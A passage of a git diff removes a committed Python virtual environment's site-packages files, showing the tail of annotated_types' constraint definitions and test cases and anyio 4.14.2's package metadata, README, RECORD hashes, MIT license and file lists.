= Annotated[_NumericType, Predicate(Not(math.isnan))] -"""Return True if x is anything but NaN (not a number), and False otherwise.""" -IsInfinite = Annotated[_NumericType, Predicate(math.isinf)] -"""Return True if x is a positive or negative infinity, and False otherwise.""" -IsNotInfinite = Annotated[_NumericType, Predicate(Not(math.isinf))] -"""Return True if x is neither a positive or negative infinity, and False otherwise.""" - -try: - # PEP 727 – Documentation in Annotated Metadata - from typing_extensions import Doc # type: ignore[attr-defined] -except ImportError: - - @dataclass(frozen=True, slots=True) - class Doc: # type: ignore [no-redef] - """ " - The return value of doc(), mainly to be used by tools that want to extract the - Annotated documentation at runtime. - """ - - documentation: str - """The documentation string passed to doc().""" - - -DocInfo = Doc # backwards compatibility -doc = Doc diff --git a/venv/Lib/site-packages/annotated_types/py.typed b/venv/Lib/site-packages/annotated_types/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/annotated_types/test_cases.py b/venv/Lib/site-packages/annotated_types/test_cases.py deleted file mode 100644 index fba3c257354ef7064e148f956de3733e709402f6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/annotated_types/test_cases.py +++ /dev/null @@ -1,146 +0,0 @@ -import math -from collections.abc import Iterable, Iterator -from datetime import date, datetime, timedelta, timezone -from decimal import Decimal -from typing import Annotated, Any, NamedTuple - -import annotated_types as at - - -class Case(NamedTuple): - """ - A test case for `annotated_types`. - """ - - annotation: Any - valid_cases: Iterable[Any] - invalid_cases: Iterable[Any] - - -def cases() -> Iterable[Case]: - # Gt, Ge, Lt, Le - yield Case(Annotated[int, at.Gt(4)], (5, 6, 1000), (4, 0, -1)) - yield Case(Annotated[float, at.Gt(0.5)], (0.6, 0.7, 0.8, 0.9), (0.5, 0.0, -0.1)) - yield Case( - Annotated[datetime, at.Gt(datetime(2000, 1, 1))], - [datetime(2000, 1, 2), datetime(2000, 1, 3)], - [datetime(2000, 1, 1), datetime(1999, 12, 31)], - ) - yield Case( - Annotated[datetime, at.Gt(date(2000, 1, 1))], - [date(2000, 1, 2), date(2000, 1, 3)], - [date(2000, 1, 1), date(1999, 12, 31)], - ) - yield Case( - Annotated[datetime, at.Gt(Decimal('1.123'))], - [Decimal('1.1231'), Decimal('123')], - [Decimal('1.123'), Decimal('0')], - ) - - yield Case(Annotated[int, at.Ge(4)], (4, 5, 6, 1000, 4), (0, -1)) - yield Case(Annotated[float, at.Ge(0.5)], (0.5, 0.6, 0.7, 0.8, 0.9), (0.4, 0.0, -0.1)) - yield Case( - Annotated[datetime, at.Ge(datetime(2000, 1, 1))], - [datetime(2000, 1, 2), datetime(2000, 1, 3)], - [datetime(1998, 1, 1), datetime(1999, 12, 31)], - ) - - yield Case(Annotated[int, at.Lt(4)], (0, -1), (4, 5, 6, 1000, 4)) - yield Case(Annotated[float, at.Lt(0.5)], (0.4, 0.0, -0.1), (0.5, 0.6, 0.7, 0.8, 0.9)) - yield Case( - Annotated[datetime, at.Lt(datetime(2000, 1, 1))], - [datetime(1999, 12, 31), datetime(1999, 12, 31)], - [datetime(2000, 1, 2), datetime(2000, 1, 3)], - ) - - yield Case(Annotated[int, at.Le(4)], (4, 0, -1), (5, 6, 1000)) - yield Case(Annotated[float, at.Le(0.5)], (0.5, 0.0, -0.1), (0.6, 0.7, 0.8, 0.9)) - yield Case( - Annotated[datetime, at.Le(datetime(2000, 1, 1))], - [datetime(2000, 1, 1), datetime(1999, 12, 31)], - [datetime(2000, 1, 2), datetime(2000, 1, 3)], - ) - - # Interval - yield Case(Annotated[int, at.Interval(gt=4)], (5, 6, 1000), (4, 0, -1)) - yield Case(Annotated[int, at.Interval(gt=4, lt=10)], (5, 6), (4, 10, 1000, 0, -1)) - yield Case(Annotated[float, at.Interval(ge=0.5, le=1)], (0.5, 0.9, 1), (0.49, 1.1)) - yield Case( - Annotated[datetime, at.Interval(gt=datetime(2000, 1, 1), le=datetime(2000, 1, 3))], - [datetime(2000, 1, 2), datetime(2000, 1, 3)], - [datetime(2000, 1, 1), datetime(2000, 1, 4)], - ) - - yield Case(Annotated[int, at.MultipleOf(multiple_of=3)], (0, 3, 9), (1, 2, 4)) - yield Case(Annotated[float, at.MultipleOf(multiple_of=0.5)], (0, 0.5, 1, 1.5), (0.4, 1.1)) - - # lengths - - yield Case(Annotated[str, at.MinLen(3)], ('123', '1234', 'x' * 10), ('', '1', '12')) - yield Case(Annotated[str, at.Len(3)], ('123', '1234', 'x' * 10), ('', '1', '12')) - yield Case(Annotated[list[int], at.MinLen(3)], ([1, 2, 3], [1, 2, 3, 4], [1] * 10), ([], [1], [1, 2])) - yield Case(Annotated[list[int], at.Len(3)], ([1, 2, 3], [1, 2, 3, 4], [1] * 10), ([], [1], [1, 2])) - - yield Case(Annotated[str, at.MaxLen(4)], ('', '1234'), ('12345', 'x' * 10)) - yield Case(Annotated[str, at.Len(0, 4)], ('', '1234'), ('12345', 'x' * 10)) - yield Case(Annotated[list[str], at.MaxLen(4)], ([], ['a', 'bcdef'], ['a', 'b', 'c']), (['a'] * 5, ['b'] * 10)) - yield Case(Annotated[list[str], at.Len(0, 4)], ([], ['a', 'bcdef'], ['a', 'b', 'c']), (['a'] * 5, ['b'] * 10)) - - yield Case(Annotated[str, at.Len(3, 5)], ('123', '12345'), ('', '1', '12', '123456', 'x' * 10)) - yield Case(Annotated[str, at.Len(3, 3)], ('123',), ('12', '1234')) - - yield Case(Annotated[dict[int, int], at.Len(2, 3)], [{1: 1, 2: 2}], [{}, {1: 1}, {1: 1, 2: 2, 3: 3, 4: 4}]) - yield Case(Annotated[set[int], at.Len(2, 3)], ({1, 2}, {1, 2, 3}), (set(), {1}, {1, 2, 3, 4})) - yield Case(Annotated[tuple[int, ...], at.Len(2, 3)], ((1, 2), (1, 2, 3)), ((), (1,), (1, 2, 3, 4))) - - # Timezone - - yield Case( - Annotated[datetime, at.Timezone(None)], [datetime(2000, 1, 1)], [datetime(2000, 1, 1, tzinfo=timezone.utc)] - ) - yield Case( - Annotated[datetime, at.Timezone(...)], [datetime(2000, 1, 1, tzinfo=timezone.utc)], [datetime(2000, 1, 1)] - ) - yield Case( - Annotated[datetime, at.Timezone(timezone.utc)], - [datetime(2000, 1, 1, tzinfo=timezone.utc)], - [datetime(2000, 1, 1), datetime(2000, 1, 1, tzinfo=timezone(timedelta(hours=6)))], - ) - yield Case( - Annotated[datetime, at.Timezone('Europe/London')], - [datetime(2000, 1, 1, tzinfo=timezone(timedelta(0), name='Europe/London'))], - [datetime(2000, 1, 1), datetime(2000, 1, 1, tzinfo=timezone(timedelta(hours=6)))], - ) - - # Quantity - - yield Case(Annotated[float, at.Unit(unit='m')], (5, 4.2), ('5m', '4.2m')) - - # predicate types - - yield Case(at.LowerCase[str], ['abc', 'foobar'], ['', 'A', 'Boom']) - yield Case(at.UpperCase[str], ['ABC', 'DEFO'], ['', 'a', 'abc', 'AbC']) - yield Case(at.IsDigit[str], ['123'], ['', 'ab', 'a1b2']) - yield Case(at.IsAscii[str], ['123', 'foo bar'], ['£100', '😊', 'whatever 👀']) - - yield Case(Annotated[int, at.Predicate(lambda x: x % 2 == 0)], [0, 2, 4], [1, 3, 5]) - - yield Case(at.IsFinite[float], [1.23], [math.nan, math.inf, -math.inf]) - yield Case(at.IsNotFinite[float], [math.nan, math.inf], [1.23]) - yield Case(at.IsNan[float], [math.nan], [1.23, math.inf]) - yield Case(at.IsNotNan[float], [1.23, math.inf], [math.nan]) - yield Case(at.IsInfinite[float], [math.inf], [math.nan, 1.23]) - yield Case(at.IsNotInfinite[float], [math.nan, 1.23], [math.inf]) - - # check stacked predicates - yield Case(at.IsInfinite[Annotated[float, at.Predicate(lambda x: x > 0)]], [math.inf], [-math.inf, 1.23, math.nan]) - - # doc - yield Case(Annotated[int, at.doc("A number")], [1, 2], []) - - # custom GroupedMetadata - class MyCustomGroupedMetadata(at.GroupedMetadata): - def __iter__(self) -> Iterator[at.Predicate]: - yield at.Predicate(lambda x: float(x).is_integer()) - - yield Case(Annotated[float, MyCustomGroupedMetadata()], [0, 2.0], [0.01, 1.5]) diff --git a/venv/Lib/site-packages/anyio-4.14.2.dist-info/INSTALLER b/venv/Lib/site-packages/anyio-4.14.2.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio-4.14.2.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/anyio-4.14.2.dist-info/METADATA b/venv/Lib/site-packages/anyio-4.14.2.dist-info/METADATA deleted file mode 100644 index 126a728ba495267b9d9208a6df9ff46221700e3a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio-4.14.2.dist-info/METADATA +++ /dev/null @@ -1,107 +0,0 @@ -Metadata-Version: 2.4 -Name: anyio -Version: 4.14.2 -Summary: High-level concurrency and networking framework on top of asyncio or Trio -Author-email: Alex Grönholm -License-Expression: MIT -Project-URL: Documentation, https://anyio.readthedocs.io/en/latest/ -Project-URL: Changelog, https://anyio.readthedocs.io/en/stable/versionhistory.html -Project-URL: Source code, https://github.com/agronholm/anyio -Project-URL: Issue tracker, https://github.com/agronholm/anyio/issues -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Framework :: AnyIO -Classifier: Typing :: Typed -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Programming Language :: Python :: 3.15 -Requires-Python: >=3.10 -Description-Content-Type: text/x-rst -License-File: LICENSE -Requires-Dist: exceptiongroup>=1.0.2; python_version < "3.11" -Requires-Dist: idna>=2.8 -Requires-Dist: typing_extensions>=4.5; python_version < "3.13" -Provides-Extra: trio -Requires-Dist: trio>=0.32.0; extra == "trio" -Dynamic: license-file - -.. image:: https://github.com/agronholm/anyio/actions/workflows/test.yml/badge.svg - :target: https://github.com/agronholm/anyio/actions/workflows/test.yml - :alt: Build Status -.. image:: https://coveralls.io/repos/github/agronholm/anyio/badge.svg?branch=master - :target: https://coveralls.io/github/agronholm/anyio?branch=master - :alt: Code Coverage -.. image:: https://readthedocs.org/projects/anyio/badge/?version=latest - :target: https://anyio.readthedocs.io/en/latest/?badge=latest - :alt: Documentation -.. image:: https://badges.gitter.im/gitterHQ/gitter.svg - :target: https://gitter.im/python-trio/AnyIO - :alt: Gitter chat -.. image:: https://tidelift.com/badges/package/pypi/anyio - :target: https://tidelift.com/subscription/pkg/pypi-anyio - :alt: Tidelift - -AnyIO is an asynchronous networking and concurrency library that works on top of either asyncio_ or -Trio_. It implements Trio-like `structured concurrency`_ (SC) on top of asyncio and works in harmony -with the native SC of Trio itself. - -Applications and libraries written against AnyIO's API will run unmodified on either asyncio_ or -Trio_. AnyIO can also be adopted into a library or application incrementally – bit by bit, no full -refactoring necessary. It will blend in with the native libraries of your chosen backend. - -To find out why you might want to use AnyIO's APIs instead of asyncio's, you can read about it -`here `_. - -Documentation -------------- - -View full documentation at: https://anyio.readthedocs.io/ - -Features --------- - -AnyIO offers the following functionality: - -* Task groups (nurseries_ in trio terminology) -* High-level networking (TCP, UDP and UNIX sockets) - - * `Happy eyeballs`_ algorithm for TCP connections (more robust than that of asyncio on Python - 3.8) - * async/await style UDP sockets (unlike asyncio where you still have to use Transports and - Protocols) - -* A versatile API for byte streams and object streams -* Inter-task synchronization and communication (locks, conditions, events, semaphores, object - streams) -* Worker threads -* Subprocesses -* Subinterpreter support for code parallelization (on Python 3.13 and later) -* Asynchronous file I/O (using worker threads) -* Signal handling -* Asynchronous versions of the functools_ and itertools_ modules - -AnyIO also comes with its own pytest_ plugin which also supports asynchronous fixtures. -It even works with the popular Hypothesis_ library. - -.. _asyncio: https://docs.python.org/3/library/asyncio.html -.. _Trio: https://github.com/python-trio/trio -.. _structured concurrency: https://en.wikipedia.org/wiki/Structured_concurrency -.. _nurseries: https://trio.readthedocs.io/en/stable/reference-core.html#nurseries-and-spawning -.. _Happy eyeballs: https://en.wikipedia.org/wiki/Happy_Eyeballs -.. _pytest: https://docs.pytest.org/en/latest/ -.. _functools: https://docs.python.org/3/library/functools.html -.. _itertools: https://docs.python.org/3/library/itertools.html -.. _Hypothesis: https://hypothesis.works/ - -Security contact information ----------------------------- - -To report a security vulnerability, please use the `Tidelift security contact`_. -Tidelift will coordinate the fix and disclosure. - -.. _Tidelift security contact: https://tidelift.com/security diff --git a/venv/Lib/site-packages/anyio-4.14.2.dist-info/RECORD b/venv/Lib/site-packages/anyio-4.14.2.dist-info/RECORD deleted file mode 100644 index 8e603bfcbce5625e91766bd03858102517960617..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio-4.14.2.dist-info/RECORD +++ /dev/null @@ -1,96 +0,0 @@ -anyio-4.14.2.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -anyio-4.14.2.dist-info/METADATA,sha256=xeb8Tf2DMxmROyh756MNmTXpIIx--RdjBiGFWqrE1Bk,4645 -anyio-4.14.2.dist-info/RECORD,, -anyio-4.14.2.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91 -anyio-4.14.2.dist-info/entry_points.txt,sha256=_d6Yu6uiaZmNe0CydowirE9Cmg7zUL2g08tQpoS3Qvc,39 -anyio-4.14.2.dist-info/licenses/LICENSE,sha256=U2GsncWPLvX9LpsJxoKXwX8ElQkJu8gCO9uC6s8iwrA,1081 -anyio-4.14.2.dist-info/scm_file_list.json,sha256=wDSXGv8Ehn5ZW5BhB-RlaAc16zY_OfO27qrlMfMMZy8,3654 -anyio-4.14.2.dist-info/scm_version.json,sha256=KgaUx31SyaqGFQFKpG3FO9kCk-ygOKS7Uf0yk56OzaY,161 -anyio-4.14.2.dist-info/top_level.txt,sha256=QglSMiWX8_5dpoVAEIHdEYzvqFMdSYWmCj6tYw2ITkQ,6 -anyio/__init__.py,sha256=HitUIfzvAojSeaHVmJ9rFn8k_yI63G6s_jUL2QChf4U,6405 -anyio/__pycache__/__init__.cpython-314.pyc,, -anyio/__pycache__/from_thread.cpython-314.pyc,, -anyio/__pycache__/functools.cpython-314.pyc,, -anyio/__pycache__/itertools.cpython-314.pyc,, -anyio/__pycache__/lowlevel.cpython-314.pyc,, -anyio/__pycache__/pytest_plugin.cpython-314.pyc,, -anyio/__pycache__/to_interpreter.cpython-314.pyc,, -anyio/__pycache__/to_process.cpython-314.pyc,, -anyio/__pycache__/to_thread.cpython-314.pyc,, -anyio/_backends/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -anyio/_backends/__pycache__/__init__.cpython-314.pyc,, -anyio/_backends/__pycache__/_asyncio.cpython-314.pyc,, -anyio/_backends/__pycache__/_trio.cpython-314.pyc,, -anyio/_backends/_asyncio.py,sha256=eK0j8PI0O7y3bX8cUBsafoWP8wsXR-szP6ciyP4Mkkk,104400 -anyio/_backends/_trio.py,sha256=hoTXL8zI81v4UE-YT_cr2fzh_zY1mKdmZD3oQHmeR0E,45583 -anyio/_core/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -anyio/_core/__pycache__/__init__.cpython-314.pyc,, -anyio/_core/__pycache__/_asyncio_selector_thread.cpython-314.pyc,, -anyio/_core/__pycache__/_contextmanagers.cpython-314.pyc,, -anyio/_core/__pycache__/_eventloop.cpython-314.pyc,, -anyio/_core/__pycache__/_exceptions.cpython-314.pyc,, -anyio/_core/__pycache__/_fileio.cpython-314.pyc,, -anyio/_core/__pycache__/_resources.cpython-314.pyc,, -anyio/_core/__pycache__/_signals.cpython-314.pyc,, -anyio/_core/__pycache__/_sockets.cpython-314.pyc,, -anyio/_core/__pycache__/_streams.cpython-314.pyc,, -anyio/_core/__pycache__/_subprocesses.cpython-314.pyc,, -anyio/_core/__pycache__/_synchronization.cpython-314.pyc,, -anyio/_core/__pycache__/_tasks.cpython-314.pyc,, -anyio/_core/__pycache__/_tempfile.cpython-314.pyc,, -anyio/_core/__pycache__/_testing.cpython-314.pyc,, -anyio/_core/__pycache__/_typedattr.cpython-314.pyc,, -anyio/_core/_asyncio_selector_thread.py,sha256=2PdxFM3cs02Kp6BSppbvmRT7q7asreTW5FgBxEsflBo,5626 -anyio/_core/_contextmanagers.py,sha256=YInBCabiEeS-UaP_Jdxa1CaFC71ETPW8HZTHIM8Rsc8,7215 -anyio/_core/_eventloop.py,sha256=ByZUeJD9alMfcyTseRo5IzTO0IltEul_Gyq9iqSjqDk,6658 -anyio/_core/_exceptions.py,sha256=OfzLO4Z3Hog1TnipbIn72YNtkoYxS4lHW9MqKDeGc88,4936 -anyio/_core/_fileio.py,sha256=hHfyV0bXDL-R2ZNnInwse3nmTAd36AIz1cBxgmAwzAQ,31358 -anyio/_core/_resources.py,sha256=NbmU5O5UX3xEyACnkmYX28Fmwdl-f-ny0tHym26e0w0,435 -anyio/_core/_signals.py,sha256=mjTBB2hTKNPRlU0IhnijeQedpWOGERDiMjSlJQsFrug,1016 -anyio/_core/_sockets.py,sha256=HtjiSH-yzehlqh_LpD3PGIafDuUCwd8gueUuk5MFeNk,35288 -anyio/_core/_streams.py,sha256=FczFwIgDpnkK0bODWJXMpsUJYdvAD04kaUaGzJU8DK0,1806 -anyio/_core/_subprocesses.py,sha256=M2GCc4NKXCbB_GtEskJgndiM2b0VS0NK_ohmFxri7O8,7923 -anyio/_core/_synchronization.py,sha256=kgPk88-eVOmY-pDNs-ReRbcEelY1a7YczuVBPsZwc8A,21591 -anyio/_core/_tasks.py,sha256=y99vRi-AFzEv6kyvIwqrzuskE2NMiNItWnuWGk7eOr4,13126 -anyio/_core/_tempfile.py,sha256=jE2w59FRF3yRo4vjkjfZF2YcqsBZvc66VWRwrJGDYGk,19624 -anyio/_core/_testing.py,sha256=u7MPqGXwpTxqI7hclSdNA30z2GH1Nw258uwKvy_RfBg,2340 -anyio/_core/_typedattr.py,sha256=P4ozZikn3-DbpoYcvyghS_FOYAgbmUxeoU8-L_07pZM,2508 -anyio/abc/__init__.py,sha256=6mWhcl_pGXhrgZVHP_TCfMvIXIOp9mroEFM90fYCU_U,2869 -anyio/abc/__pycache__/__init__.cpython-314.pyc,, -anyio/abc/__pycache__/_eventloop.cpython-314.pyc,, -anyio/abc/__pycache__/_resources.cpython-314.pyc,, -anyio/abc/__pycache__/_sockets.cpython-314.pyc,, -anyio/abc/__pycache__/_streams.cpython-314.pyc,, -anyio/abc/__pycache__/_subprocesses.cpython-314.pyc,, -anyio/abc/__pycache__/_tasks.cpython-314.pyc,, -anyio/abc/__pycache__/_testing.cpython-314.pyc,, -anyio/abc/_eventloop.py,sha256=OqWYSEj0TmwL_xniCJt3_jHFWsuMk9THk8tCTGsKapI,10681 -anyio/abc/_resources.py,sha256=DrYvkNN1hH6Uvv5_5uKySvDsnknGVDe8FCKfko0VtN8,783 -anyio/abc/_sockets.py,sha256=OmVDrfemVvF9c5K1tpBgQyV6fn5v0XyCExLAqBOGz9o,13124 -anyio/abc/_streams.py,sha256=rnSwRy-6y80TPQtIXit5LjMMiU1CCWS1oMNsmJQHRTg,7582 -anyio/abc/_subprocesses.py,sha256=cumAPJTktOQtw63IqG0lDpyZqu_l1EElvQHMiwJgL08,2067 -anyio/abc/_tasks.py,sha256=m-FtE4phxeNIELSG7A3H7VUz3jA2Ib5J2JIew8-PS6o,6642 -anyio/abc/_testing.py,sha256=9YYM2AXsYFvf4PLjUEr6yRxDiUeB5QbY_gOg0X_C6lY,2034 -anyio/from_thread.py,sha256=JYsbaCaIB_Iit6kNhtXSteJGt4PcQ7ncq0nIpcelIrg,19265 -anyio/functools.py,sha256=T4JS8IXq-x1S0Lbo2owF8l9fza2KypO147QLeyz4cjs,11797 -anyio/itertools.py,sha256=QV-9mnRCr2yBph8g01QFvN-bQ_Yle-8Sl13YSydBlMI,16168 -anyio/lowlevel.py,sha256=-59484Z6K5jF7XJJhHxYHIKnvFH_uAeMhl9a_AfaSHI,6280 -anyio/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -anyio/pytest_plugin.py,sha256=paMpI_VMNQf2bir0LfvgMpXSiYJoHDzWdKUVTyoHmvQ,13609 -anyio/streams/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -anyio/streams/__pycache__/__init__.cpython-314.pyc,, -anyio/streams/__pycache__/buffered.cpython-314.pyc,, -anyio/streams/__pycache__/file.cpython-314.pyc,, -anyio/streams/__pycache__/memory.cpython-314.pyc,, -anyio/streams/__pycache__/stapled.cpython-314.pyc,, -anyio/streams/__pycache__/text.cpython-314.pyc,, -anyio/streams/__pycache__/tls.cpython-314.pyc,, -anyio/streams/buffered.py,sha256=u7hCD8SNrYHcutG6K5wEiy1F88-pizgjvEFM22Kq2Cw,6746 -anyio/streams/file.py,sha256=6jujI2m-QJITqqKFamrupX_DNsU7y2Fz3omLZxOLuY0,4524 -anyio/streams/memory.py,sha256=ZmKWCLpyItOCXmvCQT-L8IyJHNFaB-OVJbrn88CaMo0,10776 -anyio/streams/stapled.py,sha256=mDNF9Gj4deXfOuKSZmgkEG-QExYAKAGjYBHbrs-rJaQ,4486 -anyio/streams/text.py,sha256=BcVAGJw1VRvtIqnv-o0Rb0pwH7p8vwlvl21xHq522ag,5765 -anyio/streams/tls.py,sha256=Gvs--YOoFxcyn-hakXOiPM8H-aEp8nsU6k9rTrKqJA4,15801 -anyio/to_interpreter.py,sha256=_mLngrMy97TMR6VbW4Y6YzDUk9ZuPcQMPlkuyRh3C9k,7100 -anyio/to_process.py,sha256=jHw7v6XHBNIfYa6DqnqKY0gsRo8ScOCh8fo19fqFvjU,9848 -anyio/to_thread.py,sha256=bYszW0lCDfTmLnXbAYic05HEe_Di_0UWKabgL2vU0T0,2750 diff --git a/venv/Lib/site-packages/anyio-4.14.2.dist-info/WHEEL b/venv/Lib/site-packages/anyio-4.14.2.dist-info/WHEEL deleted file mode 100644 index 1d472b6c22838de58d1c3c0dd2c795a5cde9e415..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio-4.14.2.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (83.0.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/anyio-4.14.2.dist-info/entry_points.txt b/venv/Lib/site-packages/anyio-4.14.2.dist-info/entry_points.txt deleted file mode 100644 index 44dd9bdc3039122cc98014c1439ca254313fd014..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio-4.14.2.dist-info/entry_points.txt +++ /dev/null @@ -1,2 +0,0 @@ -[pytest11] -anyio = anyio.pytest_plugin diff --git a/venv/Lib/site-packages/anyio-4.14.2.dist-info/licenses/LICENSE b/venv/Lib/site-packages/anyio-4.14.2.dist-info/licenses/LICENSE deleted file mode 100644 index 104eebf5a3002fccdaceef3a4cb936173c1c2035..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio-4.14.2.dist-info/licenses/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2018 Alex Grönholm - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/venv/Lib/site-packages/anyio-4.14.2.dist-info/scm_file_list.json b/venv/Lib/site-packages/anyio-4.14.2.dist-info/scm_file_list.json deleted file mode 100644 index 72a48145f533714ddb8ec6198464e494fa5c0c13..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio-4.14.2.dist-info/scm_file_list.json +++ /dev/null @@ -1,119 +0,0 @@ -{ - "files": [ - ".pre-commit-config.yaml", - "LICENSE", - "pyproject.toml", - "AGENTS.md", - "README.rst", - "CLAUDE.md", - ".readthedocs.yml", - ".gitignore", - "docs/tempfile.rst", - "docs/signals.rst", - "docs/synchronization.rst", - "docs/contextmanagers.rst", - "docs/testing.rst", - "docs/networking.rst", - "docs/contributing.rst", - "docs/index.rst", - "docs/versionhistory.rst", - "docs/threads.rst", - "docs/api.rst", - "docs/typedattrs.rst", - "docs/basics.rst", - "docs/fileio.rst", - "docs/cancellation.rst", - "docs/support.rst", - "docs/streams.rst", - "docs/why.rst", - "docs/tasks.rst", - "docs/migration.rst", - "docs/conf.py", - "docs/subprocesses.rst", - "docs/faq.rst", - "docs/subinterpreters.rst", - "src/anyio/functools.py", - "src/anyio/py.typed", - "src/anyio/__init__.py", - "src/anyio/pytest_plugin.py", - "src/anyio/itertools.py", - "src/anyio/to_interpreter.py", - "src/anyio/from_thread.py", - "src/anyio/to_process.py", - "src/anyio/to_thread.py", - "src/anyio/lowlevel.py", - "src/anyio/_backends/_trio.py", - "src/anyio/_backends/__init__.py", - "src/anyio/_backends/_asyncio.py", - "src/anyio/streams/memory.py", - "src/anyio/streams/__init__.py", - "src/anyio/streams/tls.py", - "src/anyio/streams/file.py", - "src/anyio/streams/text.py", - "src/anyio/streams/stapled.py", - "src/anyio/streams/buffered.py", - "src/anyio/abc/_eventloop.py", - "src/anyio/abc/__init__.py", - "src/anyio/abc/_sockets.py", - "src/anyio/abc/_tasks.py", - "src/anyio/abc/_subprocesses.py", - "src/anyio/abc/_resources.py", - "src/anyio/abc/_streams.py", - "src/anyio/abc/_testing.py", - "src/anyio/_core/_typedattr.py", - "src/anyio/_core/_eventloop.py", - "src/anyio/_core/__init__.py", - "src/anyio/_core/_tempfile.py", - "src/anyio/_core/_sockets.py", - "src/anyio/_core/_tasks.py", - "src/anyio/_core/_fileio.py", - "src/anyio/_core/_synchronization.py", - "src/anyio/_core/_subprocesses.py", - "src/anyio/_core/_resources.py", - "src/anyio/_core/_contextmanagers.py", - "src/anyio/_core/_exceptions.py", - "src/anyio/_core/_streams.py", - "src/anyio/_core/_signals.py", - "src/anyio/_core/_asyncio_selector_thread.py", - "src/anyio/_core/_testing.py", - "tests/test_itertools.py", - "tests/test_functools.py", - "tests/test_eventloop.py", - "tests/__init__.py", - "tests/test_to_thread.py", - "tests/test_from_thread.py", - "tests/test_lowlevel.py", - "tests/test_to_interpreter.py", - "tests/test_sockets.py", - "tests/test_typedattr.py", - "tests/test_to_process.py", - "tests/test_all_attributes.py", - "tests/test_synchronization.py", - "tests/test_debugging.py", - "tests/test_contextmanagers.py", - "tests/test_fileio.py", - "tests/conftest.py", - "tests/test_signals.py", - "tests/test_deprecations.py", - "tests/test_tempfile.py", - "tests/test_taskgroups.py", - "tests/test_pytest_plugin.py", - "tests/test_subprocesses.py", - "tests/streams/test_text.py", - "tests/streams/test_memory.py", - "tests/streams/__init__.py", - "tests/streams/test_file.py", - "tests/streams/test_stapled.py", - "tests/streams/test_tls.py", - "tests/streams/test_buffered.py", - ".github/pull_request_template.md", - ".github/dependabot.yml", - ".github/FUNDING.yml", - ".github/ISSUE_TEMPLATE/features_request.yaml", - ".github/ISSUE_TEMPLATE/bug_report.yaml", - ".github/ISSUE_TEMPLATE/config.yml", - ".github/workflows/test.yml", - ".github/workflows/test-downstream.yml", - ".github/workflows/publish.yml" - ] -} diff --git a/venv/Lib/site-packages/anyio-4.14.2.dist-info/scm_version.json b/venv/Lib/site-packages/anyio-4.14.2.dist-info/scm_version.json deleted file mode 100644 index 13d71062b9fa3d7ce79a838448f646e6da5a3d2d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio-4.14.2.dist-info/scm_version.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "tag": "4.14.2", - "distance": 0, - "node": "gc384f99687c64c59ed8a11c3a0f11a2d57daff71", - "dirty": false, - "branch": "HEAD", - "node_date": "2026-07-12" -} diff --git a/venv/Lib/site-packages/anyio-4.14.2.dist-info/top_level.txt b/venv/Lib/site-packages/anyio-4.14.2.dist-info/top_level.txt deleted file mode 100644 index c77c069ecc9b7f8b1f97dbcfec905725db0253a8..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio-4.14.2.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -anyio diff --git a/venv/Lib/site-packages/anyio/__init__.py b/venv/Lib/site-packages/anyio/__init__.py deleted file mode 100644 index 2502c760bcc1d640be2de20f620d52fc3364cb55..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/__init__.py +++ /dev/null @@ -1,115 +0,0 @@ -from __future__ import annotations - -from ._core._contextmanagers import AsyncContextManagerMixin as AsyncContextManagerMixin -from ._core._contextmanagers import 